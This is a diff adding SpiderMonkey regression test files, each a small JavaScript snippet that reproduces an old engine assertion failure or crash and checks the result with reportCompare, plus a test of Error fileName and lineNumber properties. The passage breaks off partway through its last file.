--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-470300-01.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470300;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let a = 0; a < 3; ++a) { let b = '' + []; }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-470300-02.js b/js/src/tests/non262/extensions/regress-470300-02.js
new file mode 100644
index 0000000000..6e760e091c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-470300-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470300;
+var summary = 'TM: Do not assert: !fp->blockChain || OBJ_GET_PARENT(cx, obj) == fp->blockChain';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (let a = 0; a < 7; ++a) { let e = 8; if (a > 3) { let x; } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-470310.js b/js/src/tests/non262/extensions/regress-470310.js
new file mode 100644
index 0000000000..460a60cc80
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-470310.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 470310;
+var summary = 'Do not assert: (uint32_t)((atoms - script->atomMap.vector + ' +
+ '((uintN)(((regs.pc + 0)[1] << 8) | (regs.pc + 0)[2])))) < objects_->length';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: 6 is not a function';
+
+ this.__defineSetter__('m', [].map);
+ function f() { for (var j = 0; j < 4; ++j) if (j == 3) m = 6; }
+ try { f(); } catch(e) { print(actual = e + ''); }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-472450-03.js b/js/src/tests/non262/extensions/regress-472450-03.js
new file mode 100644
index 0000000000..72609e4d23
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-472450-03.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472450;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var cyclic = [];
+ cyclic[0] = cyclic;
+ ({__proto__: cyclic})
+ for (var y = 0; y < 3; ++y) { for (let z of ['', function(){}]) { let x =
+ 1, c = []; } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-472450-04.js b/js/src/tests/non262/extensions/regress-472450-04.js
new file mode 100644
index 0000000000..56c7e5597c
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-472450-04.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472450;
+var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var cyclic = [];
+ cyclic[0] = cyclic;
+ ({__proto__: cyclic});
+ function f(){
+ eval("for (var y = 0; y < 1; ++y) { for (let z of [null, function(){}, null, '', null, '', null]) { let x = 1, c = []; } }");
+ }
+ f();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-472599.js b/js/src/tests/non262/extensions/regress-472599.js
new file mode 100644
index 0000000000..474e0b6336
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-472599.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 472599;
+var summary = 'Do not assert: STOBJ_GET_SLOT(callee_obj, JSSLOT_PRIVATE).isInt32()';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var a = (function(){}).prototype;
+ a.__proto__ = a.toString;
+ for (var i = 0; i < 4; ++i) { try{ a.call({}); } catch(e) { } }
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-473040.js b/js/src/tests/non262/extensions/regress-473040.js
new file mode 100644
index 0000000000..95eb543e6a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-473040.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 473040;
+var summary = 'Do not assert: tm->reservedDoublePoolPtr > tm->reservedDoublePool';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+Object.defineProperty(__proto__, "functional",
+{
+ enumerable: true, configurable: true,
+ get: new Function("gc()")
+});
+for (let x of [new Boolean(true), new Boolean(true), -0, new
+ Boolean(true), -0]) { undefined; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-474771-01.js b/js/src/tests/non262/extensions/regress-474771-01.js
new file mode 100644
index 0000000000..b9905947b1
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-474771-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not assert: jumpTable == interruptJumpTable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var o = {};
+ o.__defineSetter__('x', function(){});
+ for (let j = 0; j < 4; ++j) o.x = 3;
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-474771-02.js b/js/src/tests/non262/extensions/regress-474771-02.js
new file mode 100644
index 0000000000..127351858a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-474771-02.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474771;
+var summary = 'TM: do not assert: jumpTable == interruptJumpTable';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+this.__defineSetter__('x', function(){});
+for (var j = 0; j < 5; ++j) { x = 3; }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-476414-01.js b/js/src/tests/non262/extensions/regress-476414-01.js
new file mode 100644
index 0000000000..2b0db43ab5
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476414-01.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476414;
+var summary = 'Do not crash @ GetGCThingFlags';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function whatToTestSpidermonkeyTrunk(code)
+{
+ return {
+ allowExec: true
+ };
+}
+whatToTest = whatToTestSpidermonkeyTrunk;
+function tryItOut(code)
+{
+ var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " "));
+ var f = new Function(code);
+ if (wtt.allowExec && f) {
+ rv = tryRunning(f, code);
+ }
+}
+function tryRunning(f, code)
+{
+ try {
+ var rv = f();
+ } catch(runError) {}
+}
+var realFunction = Function;
+var realToString = toString;
+function tryEnsureSanity()
+{
+ delete Function;
+ delete toString;
+ Function = realFunction;
+ toString = realToString;
+}
+for (let iters = 0; iters < 2000; ++iters) {
+ count=27745; tryItOut("with({x: (c) = (x2 = [])})false;");
+ tryEnsureSanity();
+ count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function* () { yield \"\" } ): break; }");
+ tryEnsureSanity();
+ count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y){ return this; })); } ");
+ tryEnsureSanity();
+ count=45197; tryItOut("M:with((p={}, (p.z = false )()))/*TUUL*/for (let y of [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }");
+ tryEnsureSanity();
+ gc();
+ tryEnsureSanity();
+ count=45254; tryItOut("for (NaN in this);");
+ tryEnsureSanity();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-476414-02.js b/js/src/tests/non262/extensions/regress-476414-02.js
new file mode 100644
index 0000000000..5a1cb1fe91
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476414-02.js
@@ -0,0 +1,61 @@
+// |reftest| skip-if(!xulRuntime.shell) slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476414;
+var summary = 'Do not crash @ js_NativeSet';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function whatToTestSpidermonkeyTrunk(code)
+{
+ return {
+ allowExec: true
+ };
+}
+whatToTest = whatToTestSpidermonkeyTrunk;
+function tryItOut(code)
+{
+ var wtt = whatToTest(code.replace(/\n/g, " ").replace(/\r/g, " "));
+ var f = new Function(code);
+ if (wtt.allowExec && f) {
+ rv = tryRunning(f, code);
+ }
+}
+function tryRunning(f, code)
+{
+ try {
+ var rv = f();
+ } catch(runError) {}
+}
+var realFunction = Function;
+var realToString = toString;
+function tryEnsureSanity()
+{
+ delete Function;
+ delete toString;
+ Function = realFunction;
+ toString = realToString;
+}
+for (let iters = 0; iters < 2000; ++iters) {
+ count=27745; tryItOut("with({x: (c) = (x2 = [])})false;");
+ tryEnsureSanity();
+ count=35594; tryItOut("switch(null) { case this.__defineSetter__(\"window\", function* () { yield \"\" } ): break; }");
+ tryEnsureSanity();
+ count=45020; tryItOut("with({}) { (this.__defineGetter__(\"x\", function (y) { return this; })); } ");
+ tryEnsureSanity();
+ count=45197; tryItOut("M:with((p={}, (p.z = false )()))/*TUUL*/for (let y of [true, {}, {}, (void 0), true, true, true, (void 0), true, (void 0)]) { return; }");
+ tryEnsureSanity();
+ gc();
+ tryEnsureSanity();
+ count=45254; tryItOut("for (NaN in this);");
+ tryEnsureSanity();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/regress-476447.js b/js/src/tests/non262/extensions/regress-476447.js
new file mode 100644
index 0000000000..ccac0b3019
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476447.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476447;
+var summary = 'Array getter/setter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype.__defineGetter__('lastElement',(function() { return this[this.length-1]}));
+ Array.prototype.__defineSetter__('lastElement',(function(num){this[this.length-1]=num}));
+ var testArr=[1,2,3,4];
+
+ expect = 4;
+ actual = testArr.lastElement;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-476653.js b/js/src/tests/non262/extensions/regress-476653.js
new file mode 100644
index 0000000000..f0d27713e0
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476653.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476653;
+var summary = 'Do not crash @ QuoteString';
+var actual = '';
+var expect = '';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (let x1 of [''])
+for (i = 0; i < 1; ++i) {}
+for (i = 0; i < 1; ++i) {}
+for (let x of [new String('q'), '', /x/, '', /x/]) {
+ for (var y = 0; y < 7; ++y) { if (y == 2 || y == 6) { setter = x; } }
+}
+try
+{
+ this.f(z);
+}
+catch(ex)
+{
+}
+
+
+reportCompare(expect, actual, summary);
+
diff --git a/js/src/tests/non262/extensions/regress-476869.js b/js/src/tests/non262/extensions/regress-476869.js
new file mode 100644
index 0000000000..39f3dcd3dd
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-476869.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 476869;
+var summary = 'Do not assert: v != JSVAL_ERROR_COOKIE';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof gczeal == 'undefined')
+ {
+ gczeal = (function (){});
+ }
+
+
+ function f()
+ {
+ (new Function("gczeal(1); for (let y of [/x/,'',new Boolean(false),new Boolean(false),new Boolean(false),'',/x/,new Boolean(false),new Boolean(false)]){}"))();
+ }
+ __proto__.__iterator__ = this.__defineGetter__("", function(){})
+ f();
+
+
+ delete __proto__.__iterator__;
+
+ gczeal(0);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-477158.js b/js/src/tests/non262/extensions/regress-477158.js
new file mode 100644
index 0000000000..d3696813ef
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-477158.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477158;
+var summary = 'Do not assert: v == JSVAL_TRUE || v == JSVAL_FALSE';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ x = 0;
+ x = x.prop;
+ for (let [] of ['', '']) { switch(x) { default: (function(){}); } };
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-477187.js b/js/src/tests/non262/extensions/regress-477187.js
new file mode 100644
index 0000000000..031ddd83dd
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-477187.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 477187;
+var summary = 'timeout script';
+var actual = '';
+var expect = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined' || typeof timeout != 'function')
+ {
+ print(expect = actual = 'Test skipped due to lack of timeout function');
+ reportCompare(expect, actual, summary);
+ }
+ else
+ {
+ expectExitCode(6);
+ timeout(0.01);
+ // Call reportCompare early here to get a result. The test will fail if
+ // the timeout doesn't work and the test framework is forced to terminate
+ // the test.
+ reportCompare(expect, actual, summary);
+
+ while(1);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-479487.js b/js/src/tests/non262/extensions/regress-479487.js
new file mode 100644
index 0000000000..357c33d435
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-479487.js
@@ -0,0 +1,41 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479487;
+var summary = 'js_Array_dense_setelem can call arbitrary JS code';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ Array.prototype[1] = 2;
+
+ Array.prototype.__defineSetter__(32, function() { print("Hello from arbitrary JS");});
+ Array.prototype.__defineGetter__(32, function() { return 11; });
+
+ function f()
+ {
+ var a = [];
+ for (var i = 0; i != 10; ++i) {
+ a[1 << i] = 9999;
+ }
+ return a;
+ }
+
+ f();
+
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-479551.js b/js/src/tests/non262/extensions/regress-479551.js
new file mode 100644
index 0000000000..a08f941f22
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-479551.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 479551;
+var summary = 'Do not assert: (cx)->requestDepth || (cx)->thread == (cx)->runtime->gcThread';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof shapeOf != 'function')
+ {
+ print(expect = actual = 'Test skipped: requires shell');
+ }
+ else
+ {
+
+ var o = {a:3, b:2};
+ shapeOf(o);
+ var p = {};
+ p.a =3;
+ p.b=2;
+ shapeOf(p);
+
+
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-480579.js b/js/src/tests/non262/extensions/regress-480579.js
new file mode 100644
index 0000000000..f28fe3a1fa
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-480579.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 480579;
+var summary = 'Do not assert: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '12';
+
+ a = {x: 1};
+ b = {__proto__: a};
+ c = {__proto__: b};
+ for (i = 0; i < 2; i++) {
+ print(actual += c.x);
+ b.x = 2;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-481516.js b/js/src/tests/non262/extensions/regress-481516.js
new file mode 100644
index 0000000000..e6bf1007f4
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-481516.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 481516;
+var summary = 'TM: pobj_ == obj2';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1111222';
+
+ a = {x: 1};
+ b = {__proto__: a};
+ c = {__proto__: b};
+ objs = [{__proto__: a}, {__proto__: a}, {__proto__: a}, b, {__proto__: a},
+ {__proto__: a}];
+ for (i = 0; i < 6; i++) {
+ print(actual += ""+c.x);
+ objs[i].x = 2;
+ }
+ print(actual += c.x);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-482263.js b/js/src/tests/non262/extensions/regress-482263.js
new file mode 100644
index 0000000000..57159dc999
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-482263.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 482263;
+var summary = 'TM: Do not assert: x->oprnd2() == lirbuf->sp || x->oprnd2() == gp_ins';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+Object.defineProperty(__proto__, "x",
+{
+ enumerable: true, configurable: true,
+ get: function () { return ([]) }
+});
+for (let x of []) { for (let x of ['', '']) { } }
+
+
+reportCompare(expect, actual, summary);
+
+delete __proto__.x;
diff --git a/js/src/tests/non262/extensions/regress-50447-1.js b/js/src/tests/non262/extensions/regress-50447-1.js
new file mode 100644
index 0000000000..6af94b9a19
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-50447-1.js
@@ -0,0 +1,179 @@
+/* -*- tab-width: 8; indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * vim: set ts=8 sts=4 et sw=4 tw=99:
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/*
+ * SUMMARY: New properties fileName, lineNumber have been added to Error objects
+ * in SpiderMonkey. These are non-ECMA extensions and do not exist in Rhino.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=50447
+ *
+ * 2005-04-05 Modified by bclary to support changes to error reporting
+ * which set default values for the error's fileName and
+ * lineNumber properties.
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 50447;
+var summary = 'Test (non-ECMA) Error object properties fileName, lineNumber';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testRealError();
+ test1();
+ test2();
+ test3();
+ test4();
+
+
+}
+
+// Normalize filenames so this test can work on Windows. This
+// function is also used on strings that contain filenames.
+function normalize(filename)
+{
+ // Also convert double-backslash to single-slash to handle
+ // escaped filenames in string literals.
+ return filename.replace(/\\{1,2}/g, '/');
+}
+
+function testRealError()
+{
+ /* throw a real error, and see what it looks like */
+
+
+ try
+ {
+ blabla;
+ }
+ catch (e)
+ {
+ if (e.fileName.search (/-50447-1\.js$/i) == -1)
+ reportCompare('PASS', 'FAIL', "expected fileName to end with '-50447-1.js'");
+
+ reportCompare(60, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+ }
+
+
+}
+
+
+function test1()
+{
+ /* generate an error with msg, file, and lineno properties */
+
+
+ var e = new InternalError ("msg", "file", 2);
+ if (Error.prototype.toSource) {
+ reportCompare ("(new InternalError(\"msg\", \"file\", 2))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ }
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (2, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
+
+
+function test2()
+{
+ /* generate an error with only msg property */
+
+
+ /* note this test incorporates the path to the
+ test file and assumes the path to the test case
+ is a subdirectory of the directory containing jsDriver.pl
+ */
+ var expectedLine = 108;
+ var expectedFileName = 'non262/extensions/regress-50447-1.js';
+ var expectedSource = /\(new InternalError\("msg", "([^"]+)", ([0-9]+)\)\)/;
+
+ var e = new InternalError ("msg");
+
+ if (Error.prototype.toSource) {
+ var actual = expectedSource.exec(e.toSource());
+ reportCompare (normalize(actual[1]).endsWith(expectedFileName), true,
+ "toSource() returned unexpected result (filename).");
+ reportCompare (actual[2], String(expectedLine),
+ "toSource() returned unexpected result (line).");
+ }
+ reportCompare (normalize(e.fileName).endsWith(expectedFileName), true,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
+
+
+function test3()
+{
+ /* generate an error with only msg and lineNo properties */
+
+ /* note this test incorporates the path to the
+ test file and assumes the path to the test case
+ is a subdirectory of the directory containing jsDriver.pl
+ */
+
+
+
+ var expectedLine = 10;
+ var expectedFileName = 'non262/extensions/regress-50447-1.js';
+ var expectedSource = /\(new InternalError\("msg", "([^"]+)", ([0-9]+)\)\)/;
+
+ var e = new InternalError ("msg");
+ e.lineNumber = expectedLine;
+
+ if (Error.prototype.toSource) {
+ var actual = expectedSource.exec(e.toSource());
+ reportCompare (normalize(actual[1]).endsWith(expectedFileName), true,
+ "toSource() returned unexpected result (filename).");
+ reportCompare (actual[2], String(expectedLine),
+ "toSource() returned unexpected result (line).");
+ }
+ reportCompare (normalize(e.fileName).endsWith(expectedFileName), true,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
+
+
+function test4()
+{
+ /* generate an error with only msg and filename properties */
+
+
+ var expectedLine = 167;
+
+ var e = new InternalError ("msg", "file");
+ if (Error.prototype.toSource) {
+ reportCompare ("(new InternalError(\"msg\", \"file\", " + expectedLine + "))",
+ e.toSource(),
+ "toSource() returned unexpected result.");
+ }
+ reportCompare ("file", e.fileName,
+ "fileName property returned unexpected value.");
+ reportCompare (expectedLine, e.lineNumber,
+ "lineNumber property returned unexpected value.");
+
+
+}
diff --git a/js/src/tests/non262/extensions/regress-543839.js b/js/src/tests/non262/extensions/regress-543839.js
new file mode 100644
index 0000000000..ce968bfba7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-543839.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Igor Bukanov
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 543839;
+var summary = 'js_GetMutableScope caller must lock the object';
+var actual;
+var expect = 1;
